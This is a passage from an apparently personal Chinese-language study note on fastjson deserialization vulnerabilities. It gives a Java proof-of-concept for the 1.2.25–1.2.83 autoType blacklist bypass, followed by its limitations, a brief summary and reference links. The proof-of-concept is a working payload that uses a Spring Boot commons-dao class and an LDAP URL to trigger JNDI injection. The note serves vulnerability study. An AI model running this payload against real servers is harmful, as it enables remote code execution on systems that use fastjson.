    }
    @Override
    public void close() throws Exception {

    }
}

限制

  • 需要在Server端有实现了AutoCloseable的类或者子类

调试分析

暂无

1.2.25-1.2.83

漏洞分析

绕过禁用类黑名单。
利用springboot环境下的commons-dao组件,进行jndi注入。

Exp

package Poc;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
/*
    需要开启autoTypeSupport
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.6.7</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <dependency>
        <groupId>com.epam.reportportal</groupId>
        <artifactId>commons-dao</artifactId>
        <version>5.0.0</version>
    </dependency>
*/
public class Poc_1_2_83 {
    public static void main(String[] args) throws Exception{
        // turn on autoTypeSupport
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        String payload = "{\"@type\": \"com.epam.ta.reportportal.config.DataSourceConfig\",\"metricRegistry\": \"ldap://localhost:1234/Calc\"}";
        JSON.parse(payload);
    }
}

限制

  • 需要开启autoTypeSupport
  • 需要springboot环境、commons-dao组件
  • 利用jndi执行命令,受JDK版本限制

调试分析

暂无

小结

挠头,fastjson这么多利用,给我语雀都整卡了= =

参考链接

fastjson反序列化 漏洞分析文章
1.2.48之后的利用@mi1k7ea
mi1k7ea师傅的fastjson漏洞分析系列 很详细适合学习
su18师傅 比上一个简略
https://tttang.com/archive/1579/
https://xz.aliyun.com/t/12096
关闭ASM开关,方便进行调试
https://blog.csdn.net/qq_45854465/article/details/120960671
ASM动态加载相关,如何查看内存生成的类的源码
https://juejin.cn/post/6974566732224528392#heading-6
https://blog.csdn.net/wjy160925/article/details/85288569
toJSONString()方法的源码分析(较浅)
https://blog.csdn.net/qq_31615049/article/details/85013129